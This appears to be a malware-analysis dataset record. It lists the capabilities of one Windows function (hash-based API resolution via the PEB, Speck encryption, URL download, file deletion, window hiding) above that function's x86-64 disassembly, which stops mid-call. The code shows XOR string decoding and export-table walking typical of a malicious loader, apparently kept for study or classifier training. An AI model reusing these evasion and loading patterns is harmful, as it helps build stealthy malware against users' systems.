Function at 0x140006541
Capabilities:
Access peb ldr_data
Delete file
Download url
Encrypt data using speck
Hash data using fnv
Hide graphical window
Receive data
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0xe70
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xe10], ecx
mov qword [rbp + 0xe18], rdx
call fcn.140042730
lea rax, [rbp + 0x284]
lea rdx, [rbp + 0x28f]
mov rcx, rax
call fcn.140005660
lea rax, [rbp + 0x284]
mov qword [rbp + 0xdb0], rax
mov rax, qword [rbp + 0xdb0]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x140006634
lea rax, [rbp + 0x284]
lea rdx, [rbp + 0x284]
mov qword [rbp + 0xda8], rdx
mov qword [rbp + 0xda0], rax
mov dword [rbp + 0xd9c], 0
jmp 0x14000662a
mov eax, dword [rbp + 0xd9c]
movsxd rdx, eax
mov rax, qword [rbp + 0xda0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xd9c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xda8]
mov eax, dword [rbp + 0xd9c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xd9c], 1
cmp dword [rbp + 0xd9c], 0xa
jle 0x1400065c9
nop
lea rax, [rbp + 0x284]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.1400423d8
lea rax, [0x140098040]
mov rcx, rax
call fcn.140073bd0
lea rax, [0x140098060]
mov rcx, rax
call fcn.140073bd0
lea rax, [0x140098080]
mov rcx, rax
call fcn.140073bd0
lea rax, [0x1400980a0]
mov rcx, rax
call fcn.140073bd0
lea rax, [0x1400980c0]
mov rcx, rax
call fcn.140073bd0
lea rax, [0x140098100]
mov rcx, rax
call fcn.14000a5e6
movzx eax, byte [0x140098330]
xor eax, 1
test al, al
je 0x1400066e6
lea rax, [0x140098338]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.1400423c0
mov ecx, 0x5dc
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x2bf]
mov qword [rbp + 0xd90], rax
nop
nop
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2df]
mov rcx, rax
call fcn.140005734
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0xd88], rax
mov rax, qword [rbp + 0xd88]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x1400067c5
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2c0]
mov qword [rbp + 0xd80], rdx
mov qword [rbp + 0xd78], rax
mov dword [rbp + 0xd74], 0
jmp 0x1400067bb
mov eax, dword [rbp + 0xd74]
movsxd rdx, eax
mov rax, qword [rbp + 0xd78]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xd74]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xd80]
mov eax, dword [rbp + 0xd74]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xd74], 1
cmp dword [rbp + 0xd74], 0x13
jle 0x14000675a
nop
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2bf]
lea rax, [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x303]
mov qword [rbp + 0xd68], rax
nop
nop
lea rax, [rbp + 0x304]
lea rdx, [rbp + 0x30f]
mov rcx, rax
call fcn.1400056ca
lea rax, [rbp + 0x304]
mov qword [rbp + 0xd60], rax
mov rax, qword [rbp + 0xd60]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x1400068c4
lea rax, [rbp + 0x304]
lea rdx, [rbp + 0x304]
mov qword [rbp + 0xd58], rdx
mov qword [rbp + 0xd50], rax
mov dword [rbp + 0xd4c], 0
jmp 0x1400068ba
mov eax, dword [rbp + 0xd4c]
movsxd rdx, eax
mov rax, qword [rbp + 0xd50]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xd4c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xd58]
mov eax, dword [rbp + 0xd4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xd4c], 1
cmp dword [rbp + 0xd4c], 0xa
jle 0x140006859
nop
lea rdx, [rbp + 0x304]
lea rcx, [rbp + 0x303]
lea rax, [rbp + 0x2e0]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x2e0]
mov r8, rdx
mov rdx, rax
lea rax, [0x140098100]
mov rcx, rax
call fcn.140016122
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.140074da0
nop
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.140074da0
nop
movzx eax, byte [0x140098330]
xor eax, 1
test al, al
je 0x140006966
lea rax, [0x140098338]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.1400423c0
mov ecx, 0x5dc
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov dword [rbp + 0xdec], 0
jmp 0x1400069ae
mov eax, dword [rbp + 0xdec]
cdqe
mov rdx, rax
lea rax, [0x140098260]
mov rcx, rax
call fcn.14006f160
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14004e4b0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14004e540
add dword [rbp + 0xdec], 1
mov eax, dword [rbp + 0xdec]
movsxd rbx, eax
lea rax, [0x140098260]
mov rcx, rax
call fcn.140065790
cmp rbx, rax
setb al
test al, al
jne 0x140006972
mov rax, qword [rbp + 0xe18]
add rax, 8
mov rbx, qword [rax]
lea rax, [rbp + 0x35f]
mov qword [rbp + 0xd40], rax
nop
nop
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x395]
mov rcx, rax
call fcn.1400057e6
lea rax, [rbp + 0x360]
mov qword [rbp + 0xd38], rax
mov rax, qword [rbp + 0xd38]
movzx eax, byte [rax + 0x2c]
test al, al
setne al
test al, al
je 0x140006abd
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x360]
mov qword [rbp + 0xd30], rdx
mov qword [rbp + 0xd28], rax
mov dword [rbp + 0xd24], 0
jmp 0x140006ab3
mov eax, dword [rbp + 0xd24]
movsxd rdx, eax
mov rax, qword [rbp + 0xd28]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xd24]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xd30]
mov eax, dword [rbp + 0xd24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xd24], 1
cmp dword [rbp + 0xd24], 0x2c
jle 0x140006a52
nop
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x35f]
lea rax, [rbp + 0x330]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
mov rcx, rax
call fcn.140001518
lea rax, [rbp + 0x310]
mov rdx, rbx
mov rcx, rax
call fcn.14007d030
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x310]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.140074da0
nop
test bl, bl
je 0x140006b37
mov ecx, 1
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xe18]
add rax, 8
mov qword [rbp + 0xd18], rax
mov rax, qword gs:[0x60]
mov qword [rbp + 0xd10], rax
mov rax, qword [rbp + 0xd10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x80], rax
nop
mov rax, qword [rbp + 0x80]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0xd08], rax
mov rax, qword [rbp + 0xd08]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0xd08]
mov qword [rbp + 0xd00], rax
mov rax, qword [rbp + 0xd00]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xd00]
add rax, rdx
mov rax, qword [rax + 0x88]
mov qword [rbp + 0x58], rax
mov eax, dword [rbp + 0x58]
mov edx, eax
mov rax, qword [rbp + 0xd08]
add rax, rdx
mov qword [rbp + 0x70], rax
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x60], eax
nop
mov rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x68]
cmp rdx, rax
setne al
test al, al
je 0x140006d80
mov rax, qword [rbp + 0x70]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0xcfc], eax
jmp 0x140006d64
movabs rax, 0xee392aa3fc7a1f29
mov qword [rbp + 0xcf0], rax
mov rax, qword [rbp + 0xcf0]
shr rax, 0x20
mov r8d, eax
mov eax, dword [rbp + 0xcfc]
mov dword [rbp + 0xcec], eax
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x70]
mov eax, dword [rax + 0x20]
mov r9d, eax
mov eax, dword [rbp + 0xcec]
shl rax, 2
add rax, r9
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xce0], rax
mov dword [rbp + 0xcdc], r8d
mov eax, dword [rbp + 0xcdc]
mov dword [rbp + 0xcd8], eax
mov rax, qword [rbp + 0xce0]
lea rdx, [rax + 1]
mov qword [rbp + 0xce0], rdx
movzx eax, byte [rax]
mov byte [rbp + 0xcd7], al
cmp byte [rbp + 0xcd7], 0
jne 0x140006cb1
mov eax, dword [rbp + 0xcd8]
movabs rsi, 0xee392aa3fc7a1f29
mov qword [rbp + 0xcc0], rsi
mov rdx, qword [rbp + 0xcc0]
jmp 0x140006ce5
movsx eax, byte [rbp + 0xcd7]
mov edx, dword [rbp + 0xcd8]
mov dword [rbp + 0xcd0], edx
mov byte [rbp + 0xccf], al
movsx eax, byte [rbp + 0xccf]
xor eax, dword [rbp + 0xcd0]
imul eax, eax, 0x1000193
mov dword [rbp + 0xcd8], eax
jmp 0x140006c6d
cmp eax, edx
sete al
test al, al
je 0x140006d64
mov eax, dword [rbp + 0xcfc]
mov dword [rbp + 0xcbc], eax
mov rdx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x70]
mov eax, dword [rax + 0x1c]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xcb0], rax
mov rdx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x70]
mov eax, dword [rax + 0x24]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xca8], rax
mov rax, qword [rbp + 0x68]
mov edx, dword [rbp + 0xcbc]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0xca8]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xcb0]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov rbx, rax
jmp 0x140006db1
mov eax, dword [rbp + 0xcfc]
lea edx, [rax - 1]
mov dword [rbp + 0xcfc], edx
test eax, eax
setne al
test al, al
jne 0x140006bff
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xca0], rax
mov rax, qword [rbp + 0xca0]
mov rax, qword [rax]
mov qword [rbp + 0x80], rax
mov eax, 1
test al, al
jne 0x140006b70
mov ebx, 0
mov rax, qword [rbp + 0xd18]
mov rcx, rax
call fcn.14007c600
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
test ax, ax
sete al
test al, al
je 0x140006ddd
mov ecx, 1
call sub.msvcrt.dll_exit
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x398]
lea rdx, [rbp + 0x3a1]
mov rcx, rax
call fcn.140005960
mov rax, qword gs:[0x60]
mov qword [rbp + 0xc98], rax
mov rax, qword [rbp + 0xc98]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0xb0], rax
nop
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0xc90], rax
mov rax, qword [rbp + 0xc90]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0xc90]
mov qword [rbp + 0xc88], rax
mov rax, qword [rbp + 0xc88]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xc88]
add rax, rdx
mov rax, qword [rax + 0x88]
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0x88]
mov edx, eax
mov rax, qword [rbp + 0xc90]
add rax, rdx
mov qword [rbp + 0xa0], rax
mov eax, dword [rbp + 0x8c]
mov dword [rbp + 0x90], eax
nop
mov rdx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0x98]
cmp rdx, rax
setne al
test al, al
je 0x14000707b
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0xc84], eax
jmp 0x14000705f
movabs rax, 0xf52ea84cf079b087
mov qword [rbp + 0xc78], rax
mov rax, qword [rbp + 0xc78]
shr rax, 0x20
mov r8d, eax
mov eax, dword [rbp + 0xc84]
mov dword [rbp + 0xc74], eax
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0x20]
mov r9d, eax
mov eax, dword [rbp + 0xc74]
shl rax, 2
add rax, r9
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xc68], rax
mov dword [rbp + 0xc64], r8d
mov eax, dword [rbp + 0xc64]
mov dword [rbp + 0xc60], eax
mov rax, qword [rbp + 0xc68]
lea rdx, [rax + 1]
mov qword [rbp + 0xc68], rdx
movzx eax, byte [rax]
mov byte [rbp + 0xc5f], al
cmp byte [rbp + 0xc5f], 0
jne 0x140006f99
mov eax, dword [rbp + 0xc60]
movabs rsi, 0xf52ea84cf079b087
mov qword [rbp + 0xc48], rsi
mov rdx, qword [rbp + 0xc48]
jmp 0x140006fcd
movsx eax, byte [rbp + 0xc5f]
mov edx, dword [rbp + 0xc60]
mov dword [rbp + 0xc58], edx
mov byte [rbp + 0xc57], al
movsx eax, byte [rbp + 0xc57]
xor eax, dword [rbp + 0xc58]
imul eax, eax, 0x1000193
mov dword [rbp + 0xc60], eax
jmp 0x140006f55
cmp eax, edx
sete al
test al, al
je 0x14000705f
mov eax, dword [rbp + 0xc84]
mov dword [rbp + 0xc44], eax
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0x1c]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xc38], rax
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0x24]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xc30], rax
mov rax, qword [rbp + 0x98]
mov edx, dword [rbp + 0xc44]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0xc30]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xc38]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov rbx, rax
jmp 0x1400070ac
mov eax, dword [rbp + 0xc84]
lea edx, [rax - 1]
mov dword [rbp + 0xc84], edx
test eax, eax
setne al
test al, al
jne 0x140006ede
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xc28], rax
mov rax, qword [rbp + 0xc28]
mov rax, qword [rax]
mov qword [rbp + 0xb0], rax
mov eax, 1
test al, al
jne 0x140006e34
mov ebx, 0
lea rax, [rbp + 0x398]
mov rcx, rax
call fcn.14007c1f0
mov qword [rbp + 0xc20], rax
mov rax, qword [rbp + 0xc20]
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xc10], rax
mov rax, qword [rbp + 0xc10]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x140007189
mov rax, qword [rbp + 0xc18]
mov rdx, qword [rbp + 0xc18]
mov qword [rbp + 0xc08], rdx
mov qword [rbp + 0xc00], rax
mov dword [rbp + 0xbfc], 0
jmp 0x14000717f
mov eax, dword [rbp + 0xbfc]
movsxd rdx, eax
mov rax, qword [rbp + 0xc00]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xbfc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xc08]
mov eax, dword [rbp + 0xbfc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xbfc], 1
cmp dword [rbp + 0xbfc], 8
jle 0x14000711e
nop
mov rax, qword [rbp + 0xc20]
mov rcx, rax
call rbx
nop
mov qword [rbp + 0xde0], rax
lea rax, [rbp + 0x3a2]
mov qword [rbp + 0xbf0], rax
nop
nop
lea rcx, [rbp + 0x3a2]
mov rdx, qword [rbp + 0xde0]
lea rax, [rbp + 0x260]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
nop
lea rax, [rbp + 0x3a3]
mov qword [rbp + 0xbe8], rax
nop
nop
lea rax, [rbp + 0x3a4]
lea rdx, [rbp + 0x3ae]
mov rcx, rax
call fcn.1400059ba
lea rax, [rbp + 0x3a4]
mov qword [rbp + 0xbe0], rax
mov rax, qword [rbp + 0xbe0]
movzx eax, byte [rax + 9]
test al, al
setne al
test al, al
je 0x1400072ad
lea rax, [rbp + 0x3a4]
lea rdx, [rbp + 0x3a4]
mov qword [rbp + 0xbd8], rdx
mov qword [rbp + 0xbd0], rax
mov dword [rbp + 0xbcc], 0
jmp 0x1400072a3
mov eax, dword [rbp + 0xbcc]
movsxd rdx, eax
mov rax, qword [rbp + 0xbd0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xbcc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xbd8]
mov eax, dword [rbp + 0xbcc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xbcc], 1
cmp dword [rbp + 0xbcc], 9
jle 0x140007242
nop
lea rdx, [rbp + 0x3a4]
lea rcx, [rbp + 0x3a3]
lea rax, [rbp + 0x240]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
nop
lea rax, [rbp + 0x3af]
mov qword [rbp + 0xbc0], rax
nop
nop
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3cf]
mov rcx, rax
call fcn.140005a1c
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0xbb8], rax
mov rax, qword [rbp + 0xbb8]
movzx eax, byte [rax + 0x1b]
test al, al
setne al
test al, al
je 0x1400073ad
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0xbb0], rdx
mov qword [rbp + 0xba8], rax
mov dword [rbp + 0xba4], 0
jmp 0x1400073a3
mov eax, dword [rbp + 0xba4]
movsxd rdx, eax
mov rax, qword [rbp + 0xba8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xba4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xbb0]
mov eax, dword [rbp + 0xba4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xba4], 1
cmp dword [rbp + 0xba4], 0x1b
jle 0x140007342
nop
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x3af]
lea rax, [rbp + 0x220]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
nop
lea rax, [rbp + 0x3d0]
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0x240]
mov r8, rcx
mov rcx, rax
call fcn.14007dad0
lea rax, [rbp + 0x200]
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x3d0]
mov r8, rcx
mov rcx, rax
call fcn.14007d7c0
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x446]
lea rdx, [rbp + 0x44f]
mov rcx, rax
call fcn.140005b0e
lea rax, [rbp + 0x446]
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x1400074ec
lea rax, [rbp + 0x446]
lea rdx, [rbp + 0x446]
mov qword [rbp + 0xb90], rdx
mov qword [rbp + 0xb88], rax
mov dword [rbp + 0xb84], 0
jmp 0x1400074e2
mov eax, dword [rbp + 0xb84]
movsxd rdx, eax
mov rax, qword [rbp + 0xb88]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xb84]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xb90]
mov eax, dword [rbp + 0xb84]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xb84], 1
cmp dword [rbp + 0xb84], 8
jle 0x140007481
nop
lea rcx, [rbp + 0x446]
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.14007da30
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x3f0]
mov r8d, 2
mov rcx, rax
call fcn.140067600
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.140042580
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400676a0
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.140074da0
lea rdx, [rbp + 0x200]
lea rax, [rbp + 0x450]
mov r8d, 2
mov rcx, rax
call fcn.140067600
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.140042588
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400676a0
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x496]
mov rcx, rax
call fcn.140005b68
lea rax, [rbp + 0x480]
mov qword [rbp + 0xb78], rax
mov rax, qword [rbp + 0xb78]
movzx eax, byte [rax + 0x14]
test al, al
setne al
test al, al
je 0x14000765e
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x480]
mov qword [rbp + 0xb70], rdx
mov qword [rbp + 0xb68], rax
mov dword [rbp + 0xb64], 0
jmp 0x140007654
mov eax, dword [rbp + 0xb64]
movsxd rdx, eax
mov rax, qword [rbp + 0xb68]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xb64]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xb70]
mov eax, dword [rbp + 0xb64]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xb64], 1
cmp dword [rbp + 0xb64], 0x14
jle 0x1400075f3
nop
lea rcx, [rbp + 0x480]
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.14007da30
lea rax, [rbp + 0x497]
lea rdx, [rbp + 0x4a0]
mov rcx, rax
call fcn.140005c22
lea rax, [rbp + 0x497]
mov qword [rbp + 0xb58], rax
mov rax, qword [rbp + 0xb58]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x14000774d
lea rax, [rbp + 0x497]
lea rdx, [rbp + 0x497]
mov qword [rbp + 0xb50], rdx
mov qword [rbp + 0xb48], rax
mov dword [rbp + 0xb44], 0
jmp 0x140007743
mov eax, dword [rbp + 0xb44]
movsxd rdx, eax
mov rax, qword [rbp + 0xb48]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xb44]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xb50]
mov eax, dword [rbp + 0xb44]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xb44], 1
cmp dword [rbp + 0xb44], 8
jle 0x1400076e2
nop
lea rcx, [rbp + 0x497]
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.14007da30
lea rax, [rbp + 0x4a1]
lea rdx, [rbp + 0x4af]
mov rcx, rax
call fcn.140005c7c
lea rax, [rbp + 0x4a1]
mov qword [rbp + 0xb38], rax
mov rax, qword [rbp + 0xb38]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x14000783c
lea rax, [rbp + 0x4a1]
lea rdx, [rbp + 0x4a1]
mov qword [rbp + 0xb30], rdx
mov qword [rbp + 0xb28], rax
mov dword [rbp + 0xb24], 0
jmp 0x140007832
mov eax, dword [rbp + 0xb24]
movsxd rdx, eax
mov rax, qword [rbp + 0xb28]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xb24]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xb30]
mov eax, dword [rbp + 0xb24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xb24], 1
cmp dword [rbp + 0xb24], 0xd
jle 0x1400077d1
nop
lea rcx, [rbp + 0x4a1]
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.14007da30
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.1400664a0
mov rbx, rax
lea rax, [rbp + 0x4f6]
mov qword [rbp + 0xb18], rax
nop
nop
lea rax, [rbp + 0x4ff]
mov rcx, rax
call fcn.140005cfe
mov qword [rbp + 0x4f7], rax
lea rax, [rbp + 0x4f7]
mov qword [rbp + 0xb10], rax
mov rax, qword [rbp + 0xb10]
movzx eax, byte [rax + 7]
test al, al
setne al
test al, al
je 0x14000794d
lea rax, [rbp + 0x4f7]
lea rdx, [rbp + 0x4f7]
mov qword [rbp + 0xb08], rdx
mov qword [rbp + 0xb00], rax
mov dword [rbp + 0xafc], 0
jmp 0x140007943
mov eax, dword [rbp + 0xafc]
movsxd rdx, eax
mov rax, qword [rbp + 0xb00]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xafc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xb08]
mov eax, dword [rbp + 0xafc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xafc], 1
cmp dword [rbp + 0xafc], 7
jle 0x1400078e2
nop
lea rdx, [rbp + 0x4f7]
lea rcx, [rbp + 0x4f6]
lea rax, [rbp + 0x4d0]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
mov r8, rdx
lea rdx, [0x140098100]
mov rcx, rax
call fcn.140030a02
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400664a0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
